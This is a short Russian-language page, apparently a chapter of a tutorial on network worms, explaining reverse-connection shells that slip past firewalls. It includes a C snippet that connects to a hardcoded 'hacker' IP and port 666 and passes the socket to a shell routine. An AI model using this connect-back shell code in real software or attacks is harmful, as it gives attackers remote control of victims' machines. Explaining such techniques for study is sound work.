Побег через брандмаузер


Рисунок4 reverse.gif атакующий


Одновременно с этим упрощается и программная реализация головы червя, клиентский код которого сокращается всего до двух функций: socket и connect, правда IP-адрес атакующего приходится жестко (hardcoded) прошивать внутри червя. То есть, червь должен уметь динамически изменять свой shell-код, а это (с учетом требований, предъявляемых к shell-коду) не такая уж и простая задача.

 

#define HACKERS_PORT              666

#define HACKERS_IP                "127.0.0.1"

// шаг 1: создаем сокета

if ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;

 

// шаг 2: устанавливаем соединение

caddr.sin_family           = AF_INET;

caddr.sin_port                    = htons(HACKERS_PORT);

caddr.sin_addr.s_addr             = inet_addr(HACKERS_IP);

if (connect(csocket, (struct sockaddr*)&caddr, sizeof(caddr))) return -1;

 

// шаг 3: обмениваемся данными с сокетом

sshell(csocket, MAX_BUF_SIZE );




- Начало -  - Назад -  - Вперед -